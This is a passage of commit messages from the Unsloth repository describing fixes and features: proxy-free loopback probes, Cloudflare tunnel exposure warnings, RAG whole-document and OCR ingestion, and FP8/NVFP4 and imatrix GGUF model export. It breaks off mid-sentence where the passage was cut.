Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* fix: keep LoRA reloads working with PEFT 0.19
* test: exercise the PEFT tensor-parallel symbol extractor
* test: prove the full PEFT tensor-parallel seam
* fix: harden PEFT tensor-parallel shims
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: fall back when PEFT tensor-parallel source inspection fails
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
* i18n: register Japanese language support in messages
* i18n: add Japanese locale support
* Update studio/frontend/src/i18n/locales/ja.ts
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* Update studio/frontend/src/i18n/locales/ja.ts
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* test(i18n): add ja locale to parity check
* i18n: fill remaining missing keys for Japanese locale
* i18n: fix terminal string localization in ja locale
---------
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* fix(studio/llama_cpp): disable trust_env on the loopback health probe
_wait_for_health() polls http://127.0.0.1:<port>/health with the default
httpx trust_env=True, so an ambient HTTP(S)_PROXY in the environment is
applied to the loopback request. A proxy that returns 503 for 127.0.0.1
makes every probe fail, so the loop runs until timeout and Studio load
hangs (trust_env=False returns 200 immediately).
Pass trust_env=False so the local readiness probe never goes through a
proxy. This mirrors the existing trust_env=False handling in the sibling
llama_http / external_provider HTTP clients.
* test(offline_gguf_cache): accept trust_env kwarg in fake_get mock
_wait_for_health now calls httpx.get(..., trust_env=False); update the retry test's fake_get to accept the kwarg so it doesn't raise TypeError.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio/llama_cpp): bypass proxies for loopback clients
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio/routes): bypass proxies for llama streams
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
* studio: announce Cloudflare tunnel state and warn about public exposure on startup
The startup banner only printed a line when a tunnel URL was up, so a plain
`unsloth studio -H 0.0.0.0` launch silently created a public trycloudflare.com
URL with no indication that Studio had become reachable from the internet. The
only hint at the tunnel was the CLI help, shown when an invalid command was typed.
Make the banner always state the tunnel state for wildcard binds:
- ON: the public URL plus a warning that anyone with it can reach Studio from
outside the network, and that --no-cloudflare keeps it local-only.
- FAILED: requested but did not start (local network only).
- OFF: --no-cloudflare was passed (local network only).
Secure mode keeps its existing wording (the authenticated tunnel is intended and
--no-cloudflare is not valid there). Clarify the --cloudflare help text in both
the argparse and typer definitions. Default behavior is unchanged.
Also surface the state on the `unsloth studio run` banner, which runs the server
with silent=True and prints its own banner: it now calls _print_cloudflare_line
too, so the ON/OFF/FAILED notice and public-exposure warning are no longer
skipped on that path (previously it only echoed the URL when a tunnel was up).
For the OFF and FAILED notices, do not claim "local network only" when the
reachability probe just confirmed the raw port is reachable from the public
internet: --no-cloudflare and a failed tunnel disable only the Cloudflare link,
not the wildcard bind, so the message is reworded to flag the public raw port.
* Fix/adjust Cloudflare banner warnings for PR #6515
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix/adjust Cloudflare banner comments for PR #6515
* Fix/adjust IPv6 Cloudflare tunnel gate for PR #6515
* Fix/adjust Cloudflare review comments for PR #6515
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix silent run Cloudflare notice
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: quick eject from the model selector
Add a one-click eject shortcut to the loaded-model pill so users do not
have to open the picker to unload a model.
- The loaded-status indicator shows a green checkmark at rest and swaps to
a red eject icon on pill hover, with an "Eject model" tooltip. Clicking
it ejects without opening the picker.
- On Device tab now uses the placeholder "Search local models" instead of
"Search Unsloth models".
- The picker's "Eject model" button uses medium font weight.
* Studio: drop unused group/eject marker class on the eject control
* Studio: make the inline eject control valid HTML
The eject shortcut was a focusable span (role/tabIndex) nested inside the
trigger button. A button's content model forbids focusable descendants, so
make it a plain decorative span (aria-hidden, no role/tabIndex) that keeps
the mouse shortcut. Keyboard and screen-reader users eject via the picker's
"Eject model" button.
* Studio: disable the inline eject shortcut on touch devices
On touch (no hover) the red eject icon and title tooltip never reveal, so
tapping the loaded pill could unload the model with no visible affordance.
Add [@media(hover:none)]:pointer-events-none so taps fall through to the
trigger and open the picker; touch users eject from the picker instead.
---------
Co-authored-by: shimmyshimmer <shimmyshimmer@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
* Add whole-document context mode to RAG chat attachments
Thread-attached files are injected in full when they fit a token budget,
instead of only top-K retrieved chunks, so the model reads the entire file
for summarize/reason-over-document requests. Oversized files fall back to
top-K retrieval so the context window is never blown. KB and project
corpora are unchanged (still retrieval).
- core/rag/store.py: all_chunks_for_scope returns every completed-document
chunk for a scope, ordered document-then-index, joined with filename.
- core/rag/tool.py: whole_document_context renders the chunks as the same
<chunk> blocks + citation source-map retrieval produces, returns None
when empty or over budget.
- core/inference/tools.py: build_rag_autoinject tries whole-document first
for thread scopes, falls through to search_for_autoinject otherwise.
- core/rag/config.py: THREAD_WHOLE_DOC + WHOLE_DOC_MAX_TOKENS (env-tunable).
- tests/test_rag_whole_document.py: store ordering, whole-doc render +
budget cutoff, auto-inject whole-doc vs top-K fallback, KB never whole-doc.
* Add scanned-PDF OCR fallback to RAG ingestion
A PDF page with no extractable text layer (a scanned or image-only page)
previously ingested as empty, so image PDFs were invisible to retrieval and
whole-document context. Such pages are now rendered and transcribed by the
loaded vision model during ingestion, so they become searchable and readable
like any other page. This restores OCR for the RAG document flow without a
separate extraction pipeline.
- core/rag/parsers.py: render_pdf_pages renders whole pages (1-based) to PNG.
- core/rag/captioner.py: factor the shared vision call into _vision_complete;
add _ocr_one + ocr_pages (transcribe rendered pages, OCR_MAX_PAGES bound).
- core/rag/ingestion.py: _ocr_scanned_pages runs right after parse, replacing
text on near-empty PDF pages. No-op when OCR is off, no page is scanned, or
no vision model is loaded (degrades like figure captioning).
- core/rag/config.py: OCR_SCANNED, OCR_MIN_CHARS, OCR_MAX_PAGES, OCR_DPI,
OCR_TIMEOUT_S, OCR_MAX_TOKENS (env-tunable).
- tests/test_rag_ocr_fallback.py: page render, ocr_pages gating + cap, scanned
PDF end-to-end OCR into chunks + whole-doc, born-digital skips OCR, disabled
leaves the page empty.
* Broaden OCR prompt to figures/tables and guard against repetition runaway
The OCR prompt now asks the vision model to also transcribe text inside figures,
diagrams, charts and tables, so labels and table cells on scanned pages are
indexed rather than skipped. Verified on real documents that this does not
regress plain-text transcription.
Some vision models loop on sparse images (e.g. a title-only cover) and emit the
same line hundreds of times. _collapse_runaway caps any run of identical
consecutive lines so a pathological page cannot flood the index; legitimate
short repeats (a label appearing a few times) survive. Applied in ocr_pages.
* Restrict whole-document injection to thread attachments only
whole_document_context resolved the combined project+thread scope, so a project
chat (the frontend sends both thread_id and project_id) injected the entire
project corpus in full, contradicting the design that project and KB corpora stay
retrieval-only. A large project corpus could also push the total over budget and
drop a small thread attachment back to top-K.
Resolve the thread scope alone in whole_document_context, and in
build_rag_autoinject only enter whole-doc mode when a thread attachment is present
and no KB is selected (a KB pick is exclusive: search that corpus). Project
sources and KBs keep top-K retrieval. Adds regression tests for the mixed
project+thread payload, the budget isolation, and KB precedence.
* Address review: keep project retrieval, harden budget + OCR guards
Follow-up to the 8-reviewer pass on the whole-document + OCR work.
- Preserve project grounding in project chats. The thread-scope-only fix made
whole-doc exclusive of retrieval, so a thread attachment silently dropped the
project corpus for that turn. build_rag_autoinject now whole-docs the thread
attachment AND retrieves the project sources top-K, merged under one citation
numbering via tool.render_sources. KB selection stays exclusive.
- Budget: a NULL/zero token_count no longer bypasses the cap (length-based
fallback in _row_token_count), so a malformed huge doc can't inject in full.
- OCR runaway guard: _collapse_runaway now also caps each distinct line at a
generous total across the page (not just consecutive), bounding the
interleaved/alternating loops weak models emit; blank-line floods collapse too.
- OCR: warn when a scanned PDF exceeds OCR_MAX_PAGES (pages past the cap stay
untranscribed) instead of silently dropping them.
- Document the known limits: OCR'd pages have no PDF highlight regions; vision
models need a micro-batch >= image tokens (Gemma-family) or the server aborts.
- Tests for project-retrieval composition, NULL-token budget, and interleaved
runaway; drop the now-superseded exclude-project test.
* Add OCR toggle to RAG retrieval settings
Make scanned-PDF OCR user-controllable per upload instead of only via the
RAG_OCR_SCANNED config default. The retrieval settings panel gains an OCR
scanned pages switch (persisted in localStorage, on by default); the chosen
value is read fresh at upload time and sent with each document upload.
Backend: the three upload routes accept an optional ocr form field and pass it
through start_ingestion to _ocr_scanned_pages, which now treats None as use the
config default and an explicit bool as an override. The on/off policy lives only
in _ocr_scanned_pages now, so ocr_pages no longer re-checks the config (that
double gate would have blocked a per-upload ocr=True while the default was off).
Tests cover both override directions (force on while config off, force off while
config on).
* Add "Describe figures & charts" toggle with chart-aware captions
Surface RAG figure captioning as a user control and make it actually useful for
graphs and plots. The figure detection already clustered vector drawings and
raster images into regions and rendered them, but captioning was off by default,
had no UI, and used a thin generic prompt.
Accuracy: the caption prompt now asks for chart type, axis titles and units,
legend or series, salient trends and readable values, and table columns, while
forbidding invented numbers. The token budget is configurable (CAPTION_MAX_TOKENS)
and captions pass through the same runaway guard as OCR so a looping vision model
cannot flood the index.
Control: a per-upload caption override threads from the three upload routes through
start_ingestion and _run, with the on/off policy single-sourced in _run (caption
self-gating removed from caption_images, mirroring the OCR change) so a force-on
override works when the config default is off. The frontend adds a "Describe
figures & charts" switch in the retrieval settings, persisted in localStorage and
sent with each upload. Default on; it is a no-op without a vision model and bounded
to CAPTION_MAX_IMAGES figures per document.
Tests cover the new caption_images contract, the runaway guard on captions, the
chart-aware prompt and token budget (and that OCR keeps its own prompt and budget),
and both override directions end to end through ingestion.
* Generalize figure understanding: transcribe-first prompt + high-DPI tiling
Make figure/chart description work across any visual and any model strength, not
just a strong VLM on simple figures. Two changes, validated by a recall benchmark
on authoritative documents (ResNet/Attention papers, USDA, UN UDHR).
1. Transcribe-first caption prompt. The caption now asks the model to transcribe
every visible label verbatim (titles, axis labels and units, legends, every
box/node/arrow label, table cells, equations) and then add a one-line summary,
instead of only describing the figure. Transcription is the most model-robust
visual task, so weak models that cannot reason about a chart still recover its
labels.
2. High-DPI tiling of figure pages. Figure-bearing pages are rendered as an
overlapping grid of high-DPI tiles (plus a full-page pass for context); each
tile is transcribed, then merged and de-duplicated. This keeps small diagram
labels legible and covers every sub-figure without relying on exact region
detection, which previously missed sub-figures and small labels.
Supporting changes: figure render DPI 130 -> 200 with a clip margin so edge labels
are not lost; vision calls are deterministic (temperature 0) so transcription does
not randomly drop labels; the repetition guard now applies to captions too. New
config knobs: FIGURE_DPI, FIGURE_MARGIN_FRAC, FIGURE_TILE_ROWS/COLS, FIGURE_TILE_
OVERLAP, FIGURE_FULLPAGE, CAPTION_MAX_PAGES, larger CAPTION_MAX_TOKENS, and
CAPTION_MAX_IMAGES as a per-document tile budget.
Measured figure context recall (per-label, dense academic figures):
Qwen2.5-VL: 0.50 -> 0.83 (overall 0.81 -> 0.94)
Gemma-4-E2B (weak): ~0 with loops -> 0.83 (overall 0.91)
Born-digital text and scanned-page recall are unchanged (no regression).
parsers gains _figure_boxes (shared detection), pages_with_figures, and
render_pdf_figure_tiles; captioner gains merge_page_captions and a temperature
parameter; ingestion routes figure captioning through the tiled path.
* Fix RAG review issues: whole-doc budget pre-check, figure gating, empty re-ingest, vision auth
Whole-document context now runs a cheap token-sum pre-check (store.scope_token_estimate)
before hydrating every chunk's text, so an attachment that cannot fit the budget is
rejected without loading the whole corpus into memory. The estimate mirrors
all_chunks_for_scope's filter and the per-row token-count fallback exactly.
Ingestion skips all figure work (PDF rasterization and detection, not just the caption
call) unless a vision model is loaded, so a text-only deployment pays nothing. When OCR
is enabled, scanned/image-only pages are excluded from figure tiling since OCR already
transcribes them whole, avoiding double vision work and overlapping index entries; a
scanned figure page is still tiled when OCR is off.
start_ingestion no longer dedupes forever to a prior ingest that produced zero chunks
(e.g. a scanned PDF uploaded before a vision model was loaded): the empty record is
dropped and the content is re-ingested.
Vision OCR and caption requests now send the backend Authorization header, so they
match the chat endpoint and do not 401 under direct-stream (--api-key) mode.
Adds tests for the budget estimate, scanned-page exclusion, the vision-model gate, the
empty re-ingest path, and the auth-header passthrough.
* Trim RAG vision-ingestion comments and docstrings
Tighten the verbose multi-line docstrings and comments added across the RAG vision
ingestion work (captioner, config, parsers, ingestion, store, tool, build_rag_autoinject,
the RAG tests, and the chat-store/upload-hook frontend toggles) to one or two lines while
keeping their intent. No code changed: verified comment/docstring-only against the prior
commit, and the RAG test suite still passes.
* Fix figure-tiling exclusion and client dedupe for re-ingestable docs
Figure tiling now excludes only the pages OCR actually transcribed, not every
text-less page. _ocr_scanned_pages returns the set of pages it OCR'd, and _run passes
that to pages_with_figures as exclude_pages (replacing the ocr_on-keyed min_text_chars
heuristic). A scanned page that OCR skipped (past OCR_MAX_PAGES, or whose OCR returned
empty) is no longer dropped from captioning, so a chart on such a page still gets a
caption.
The document panel's upload dedupe no longer skips re-selecting a file whose only
matching doc completed with zero chunks. Such a doc is re-ingestable (e.g. a scan
attached before a vision model loaded), and the backend re-ingests on the same content
hash, so the client must let it reach the backend; healthy or still-indexing docs are
still skipped. The SSE complete frame's chunk count is recorded on the doc so the
check is exact.
Adds a regression test for the un-OCR'd scanned figure page and updates the
pages_with_figures test to the exclude_pages interface.
* Address review findings: whole-doc budget guard, job numChunks, dead code, upload cap
whole_document_context now treats a non-positive max_tokens as "never inject" instead
of injecting the whole corpus unbounded, so RAG_WHOLE_DOC_MAX_TOKENS=0 tightens rather
than disables the budget (the real off switch stays RAG_THREAD_WHOLE_DOC=0).
The job-status endpoint and get_job_status now expose num_chunks (joined from the
document), and the upload hook threads it through the SSE-fallback completion paths
(reconcile + poll). Previously a document that finished via the connection-cap fallback
had no chunk count client-side, so the re-ingest dedupe wrongly treated it as empty and
re-uploaded it. IndexJob/JobEvent gain the field and the untyped cast is dropped.
Removes the dead render_pdf_figures function (superseded by the tiling path), its test,
and the unused FIGURE_MARGIN_FRAC config knob.
Adds an upload size cap (RAG_MAX_UPLOAD_BYTES, default 200 MB; 413 on exceed with the
partial file cleaned up) so a pathological file can't drive unbounded parse + vision
work. render_pdf_figure_tiles clamps rows/cols to >= 1 (no ZeroDivisionError on a
misconfigured grid). Captioning progress is reported after OCR so the bar is monotonic.
sqlite connections set busy_timeout=5000 so a long figure/scan ingest holding its
connection doesn't make a concurrent ingest/read fail with "database is locked".
Adds tests for the non-positive budget, the zero-grid clamp, job-status num_chunks, and
the oversize-upload rejection.
* Extract PDF text as layout-aware Markdown via pymupdf4llm
parsers._pdf now extracts each PDF page as Markdown with pymupdf4llm.to_markdown
(page_chunks=True) instead of flat page.get_text("text"), so tables, headings and lists
keep their structure in the indexed chunks and retrieve far better (a table's cells stay
associated with their row instead of flattening into a token stream). Gated by
RAG_PDF_MARKDOWN (default on); falls back to plain PyMuPDF text when the toggle is off,
pymupdf4llm is missing, extraction fails, or a page yields no Markdown. The scanned-page
OCR and figure-tiling passes operate on rendered pixels and are unaffected; docx/html/txt
keep their existing extractors.
The preview-highlight locator already strips Markdown punctuation when building anchors;
it now also splits anchor tokens on pipes so a Markdown table row still anchors to the
raw PDF word stream.
Declares pymupdf4llm as a studio/RAG dependency (was only transitively present via the
data-designer plugin). Adds parser tests (Markdown table reaches the page text, the
plain-text fallback, the missing-lib fallback) and a locator test for table-pipe anchoring.
* Pin pymupdf4llm to 0.3.4 so the package scan does not pull onnxruntime
The lockstep pymupdf4llm 1.27.x line makes pymupdf-layout a hard dependency,
which in turn pulls onnxruntime (plus numpy/networkx/protobuf). The security-audit
pip scan-packages job resolves requirements --with-deps, so adding pymupdf4llm to
no-torch-runtime.txt and studio.txt surfaced onnxruntime's un-baselined CRITICAL
finding and flipped the hf-stack shard from pass to fail.
pymupdf4llm 0.3.x keeps pymupdf-layout behind an optional [layout] extra, so a plain
install resolves to pymupdf + tabulate only and never touches onnxruntime. 0.3.4
requires pymupdf>=1.27.1, satisfied by our pinned pymupdf==1.27.2.3, and to_markdown
(page_chunks=True) produces equivalent layout-aware Markdown on real PDFs (verified on
the Attention, ResNet and USDA documents). Production already installs these files
--no-deps, so onnxruntime was never shipped at runtime; this only fixes the scanner.
The parser test now asserts Markdown markup (heading or table pipes) rather than table
pipes specifically, since 0.3.4 emits a heading but not a pipe table on the tiny
borderless synthetic fixture; both markers are absent from the plain-text fallback.
* Fix RAG whole-doc review findings
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address RAG whole-doc review follow-ups
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address RAG review follow-up edge cases
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reserve image budget for whole-document RAG
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: wire imatrix GGUF option and FP8/NVFP4 compressed export into the export UI
GGUF export gains an importance-matrix toggle. When enabled it auto-downloads the
upstream Unsloth imatrix for the base model (or uses a custom path), which unlocks
the IQ low-bit quants iq2_xxs, iq2_m, iq3_xxs and iq4_xs. Merged export gains an
FP8 / NVFP4 compressed-tensors precision selector that runs llm-compressor for vLLM.
Backend threads imatrix_file through routes -> orchestrator -> worker -> export_gguf
(both the local save and the hub push), and maps the new compressed format_type
values onto the fp8/nvfp4 save_method, reporting the "<dir>-<suffix>" sibling output
directory. Frontend adds the imatrix Switch on the GGUF card and a merged precision
picker on the merged card, threaded through the export runtime store.
Depends on unslothai/unsloth#6706 (save.py imatrix_file and compressed-tensors
export) and unslothai/unsloth-zoo#839 (quantize_gguf imatrix flag).
* Studio export: guard imatrix/compressed against older unsloth builds and force imatrix for IQ quants
Addresses review feedback on the export wiring:
- GGUF: pass imatrix_file only when set, so a plain no-imatrix export (e.g. Q4_K_M) no
longer fails with an unexpected-keyword error against an unsloth build that predates the
imatrix_file parameter. When imatrix is requested but unsupported, return a clear
upgrade message instead of a TypeError.
- Merged: gate FP8/NVFP4 compressed-tensors export on the installed unsloth actually
supporting it, returning a clear message rather than a cryptic save_method failure.
- Frontend: IQ quants (iq2_xxs, iq2_m, iq3_xxs, iq4_xs) are imatrix-only, so force the
imatrix on when one is selected and lock the toggle, instead of submitting an IQ quant
with no imatrix that llama.cpp would reject.
Extends the backend tests for the new capability guards and the conditional kwarg wiring.
* Studio: upload compressed merged models to the Hub without recompressing
For an FP8/NVFP4 Hub export the model is already produced locally in the "<dir>-<suffix>"
output. Uploading it directly with HfApi.upload_folder (mirroring export_base_model) avoids
re-running the expensive compressed-tensors quantization a second time inside
push_to_hub_merged, which for NVFP4 also re-runs calibration and risks OOM. Falls back to
push_to_hub_merged when there is no local compressed output to reuse.
* Add FP8/FP4 compressed export to save_pretrained_merged
Adds compressed-tensors export (for vLLM) to save_pretrained_merged /
push_to_hub_merged via llm-compressor, alongside the existing lora /
merged_16bit / merged_4bit / gguf / torchao paths:
model.save_pretrained_merged("model", tokenizer, save_method="fp8")
Supported save_method values: fp8 (FP8_DYNAMIC), mxfp4, nvfp4 (W4A4) and
mxfp8. The LoRA is merged to 16bit at save_directory, then a quantized
checkpoint is written to save_directory + "-<fmt>". nvfp4 needs a small
calibration set (defaults to ultrachat, overridable via calibration_dataset).
Notes:
- llm-compressor is installed lazily on first use, pinning the current torch
and transformers via a constraints file so they are not upgraded (a plain
install pulls transformers>=5 and breaks Unsloth).
- Quantization runs in a separate process (unsloth/_compressed_quantize.py,
launched by file path) so Unsloth's transformers attention patches do not
interfere with the forward llm-compressor runs during calibration, mirroring
how GGUF export shells out to llama.cpp.
- mxfp8 needs a newer llm-compressor (transformers>=5); it is recognised and
raises a clear error until that stack is available.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: main-process guard, calibration subsampling, tokenizer + dtype handling
- Route the 16bit merge through unsloth_generic_save for both LoRA and full
finetuned models, so non-PEFT models are written in 16bit consistently
instead of saving the original (possibly quantized) weights directly.
- Honor is_main_process: only the main process quantizes and writes the
compressed output, so distributed ranks do not race on the same dirs.
- Subsample an in-memory calibration Dataset before save_to_disk so large
training sets are not fully copied to a temp dir.
- Tolerate a missing tokenizer in the converter (data-free exports); still
require one for calibration based schemes.
- Open config.json via a context manager in both files.
- Drop the redundant nvfp4 entry from the unsupported-name check (fp4 covers it).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add direct LoRA to GGUF export and harden FP8/FP4 compressed export
- Run llm-compressor install and scheme check before the 16bit merge so
unsupported schemes (e.g. mxfp8) fail fast without writing a checkpoint
- Only the main process installs, merges, quantizes and uploads; isolate
hub pushes to a temp dir and clean all temp dirs in a finally
- Forward standard save kwargs (state_dict, max_shard_size, ...) to the merge
- Fall back to the first dataset split for Hub calibration ids
- Export LoRA adapters to GGUF via convert_lora_to_gguf.py: modernize
save_pretrained_ggml/push_to_hub_ggml and add save_method="lora" to
save_pretrained_gguf/push_to_hub_gguf; resolve base from the adapter config
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix LoRA GGUF shell-injection test and compressed export trailing-slash path
- Update tests/saving/test_save_shell_injection.py for the new delegation: the
LoRA to GGUF conversion now lives in _unsloth_save_lora_gguf, so assert it
passes argv as a list with no shell=True and that the legacy ggml wrappers
delegate to it instead of calling subprocess.Popen directly
- Normalize the local save_directory before building the "<dir>-<fmt>" sibling
so a trailing slash no longer nests the compressed output inside the 16bit dir
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Polish FP8/FP4 and LoRA GGUF export after review
- Warn (not silently downgrade) when an explicit quantization_method is not a
valid LoRA GGUF outtype; default stays f16
- Correct the inference hardware note: MXFP8 is 8-bit (cc >= 8.9), only FP4
needs Blackwell for full activation quantization
- Document that a local fp8/fp4 save keeps the 16bit merge at save_directory
and writes the quantized checkpoint to save_directory + "-<fmt>"
* Use sequential calibration pipeline and validate Hub access early
- nvfp4 calibration no longer forces the memory-hungry "basic" pipeline. The
quantization runs in a clean subprocess, so llm-compressor's default
sequential pipeline (layer-by-layer onloading) works and lets large models
that do not fit at once still calibrate; fall back to "basic" only if tracing
fails
- For push_to_hub compressed exports, create/validate the repo up front so a bad
token or denied repo fails before the merge and quantization instead of after
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden compressed export: explicit sequential pipeline, base-tokenizer calibration, GPU memory
- nvfp4 calibration now passes pipeline="sequential" explicitly (layer-by-layer
onloading) instead of relying on the inferred default, with a "basic" fallback
- Calibration datasets with a messages column no longer require a chat template:
base / non-chat tokenizers fall back to concatenating message contents
- Free the in-memory model's CUDA memory before the quantize subprocess loads its
own copy from disk (best-effort, single-device non-quantized only; restored
afterward), so a single GPU need not hold two copies at once
- Create the calibration temp dir in the system temp location instead of next to
the save directory, avoiding stray dirs in the workspace
* Free the failed calibration model before the basic-pipeline retry
In the sequential -> basic NVFP4 fallback, release the partially-processed model
and clear the CUDA cache before loading a fresh copy, so the retry does not
transiently hold two model copies on the GPU.
* Harden calibration data handling and compressed-export edge cases
- Calibration messages without a chat template now handle multimodal (list)
content, None content, and null message rows instead of crashing on join
- Raise a clear error when the calibration dataset is empty after subsampling
- Reset llm-compressor's global session before freeing the model in the
sequential -> basic NVFP4 fallback, so the old model is actually released
- LoRA GGUF export accepts a single-element list quantization_method
- Attach datasets metadata to the pushed repo on compressed hub exports
- Warn (instead of silently) if the model cannot be restored to its device
- Raise a clear error if the LoRA base model id cannot be determined
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Handle DatasetDict calibration, MoE routers, and MTP models in compressed export
- Reduce an in-memory DatasetDict calibration set to a single split before row
subsampling, so save_to_disk does not copy every split to the temp dir
- For MoE models, keep the router/gate unquantized and pass
moe_calibrate_all_experts so every expert is calibrated
- Warn when a model carries MTP / speculative-decoding tensors that the
compressed export does not include
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Support many more compressed-tensors schemes and address review
- Expand save_method to cover the full set of compressed-tensors preset schemes:
FP8 (dynamic/static/block), INT8, W8A8, W8A16, W4A16(+asym), W4A8, W4AFP8,
MXFP4(+A16), NVFP4(+A16), plus the gated MXFP8; calibration is used only for
the static-activation schemes (FP8 static, NVFP4)
- Broaden the near-miss save_method error to cover int/w-prefixed names
- MoE: also keep the Qwen shared-expert gate unquantized
- Strip non-model-input columns from already-tokenized calibration data so the
collator does not choke on a leftover messages column
- Forward the Hub token to the LoRA converter and the quantize subprocess so
gated/private base models and calibration datasets work without a global login
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Collapse compressed-tensors export help line so ruff-format converges
The print line in print_quantization_methods needed two ruff-format passes to
reach a fixpoint (merge implicit string concat, then collapse the single-arg
print). pre-commit.ci applies one pass per run, so it kept reformatting. Land
the converged single-line form directly.
* Add CPU-only regression tests for the export API
Cover all export paths without a GPU, for slow CPU-only CI:
- pure-function checks of the compressed-tensors scheme registry and save_method
normalization (aliases, calibration flags, near-miss errors)
- AST checks that every merged saver dispatches compressed export, the GGUF savers
expose the lora branch, torchao routes PTQ/QAT, the public methods stay attached,
and the export subprocesses remain shell-safe (argv list, sys.executable, no shell)
- monkeypatched dispatch checks that fp8/nvfp4/merged_16bit, the LoRA-GGUF outtype
resolution, and torchao PTQ/QAT reach the right helper with the right arguments
* Run the CPU-only export tests in consolidated CI
tests/saving is --ignored by the Repo tests (CPU) job, so the new GPU-free export
tests are added by path to consolidated-tests-ci.yml (collection sanity + Bucket-A run),
alongside the existing CPU saving tests, so they actually execute on CPU CI.
* Add GPU GGUF export + llama-cli inference smoke test
tests/saving/test_gguf_export_and_inference.py: skipif no CUDA. Trains a tiny
phrase-imprinting LoRA, exports a full-model q8_0 GGUF (merge -> convert_hf_to_gguf
-> llama-quantize), asserts a valid GGUF (magic + size), and - when a llama-cli
binary is available - runs one bounded generation (byte cap + watchdog kill) and
asserts the trained phrase round-trips through HF -> GGUF -> quantize -> inference.
The llama-cli step skips gracefully since the export only builds llama-quantize.
* Fix variant mismatch in compressed (FP8/FP4) export
save_pretrained_merged(..., save_method=fp8/nvfp4, variant=...) forwarded
the variant into the intermediate 16bit merge, so Transformers wrote
variant-named shards (model.<variant>.safetensors). The converter
subprocess then reloaded that directory with the default weight filenames,
so the compressed export failed after doing the merge.
Pop the variant out of the intermediate merge (internal staging that the
subprocess reloads with default names) and forward it via --variant so it
is applied to the final compressed checkpoint instead. Add a CPU AST guard
for the contract.
* Harden export paths from review
- install_llm_compressor: fall back to uv pip when this interpreter has no
pip seeded (uv-created/relocatable venvs), instead of failing with
No module named pip.
- LoRA GGUF export: if convert_lora_to_gguf.py is missing (a prebuilt or
reused CWD llama.cpp install carries binaries but not the converter
script), force a dedicated source checkout that ships it.
- push_to_hub_gguf(save_method=lora): return on non-main ranks, matching the
local save_pretrained_gguf lora branch, so only rank 0 converts/uploads.
- compressed export VLM detection: require a vision_config or a
ForVisionText2Text architecture; a bare *ForConditionalGeneration also
matches text seq2seq models (T5/BART/Whisper) and is no longer treated as
a VLM on its own.
- GGUF GPU smoke test: drop SFTConfig(max_length=1024), which raises under
newer TRL padding-free training; length enforcement is not needed here.
* Add imatrix option to GGUF export, enabling IQ low-bit quants
save_pretrained_gguf / push_to_hub_gguf gain imatrix_file:
None -> no imatrix (unchanged)
'/path' -> pass to llama-quantize --imatrix (a *.gguf_file is renamed to *.gguf)
True -> download the upstream unsloth/<base>-GGUF imatrix (imatrix_unsloth.dat or
.gguf_file), raising a clear error if none exists
An importance matrix unlocks the IQ low-bit quants (iq2_xxs, iq4_xs, ...), which were hard
disabled before. They are gated: requesting one without an imatrix raises a clear error.
- _resolve_imatrix_file resolves path/True (PEFT base first, normalized via get_model_name,
derives unsloth/<base>-GGUF, copies out of the HF cache before renaming *.gguf_file).
- IMATRIX_QUANTS registry replaces the old commented-out IQ entries; save_to_gguf accepts a
resolved imatrix and threads it into the quantize calls.
- The --imatrix flag is emitted by unsloth_zoo's quantize_gguf (companion change). save.py
fails fast with an upgrade hint if the installed unsloth_zoo lacks the imatrix kwarg.
Tests: tests/saving/test_imatrix_export.py (CPU: resolution, repo derivation, IQ gate,
--imatrix wiring) wired into CI; tests/saving/test_gguf_export_and_inference.py extended with
GPU iq2_xxs/iq4_xs export + inference. Verified end to end on Llama-3.2-1B: imatrix
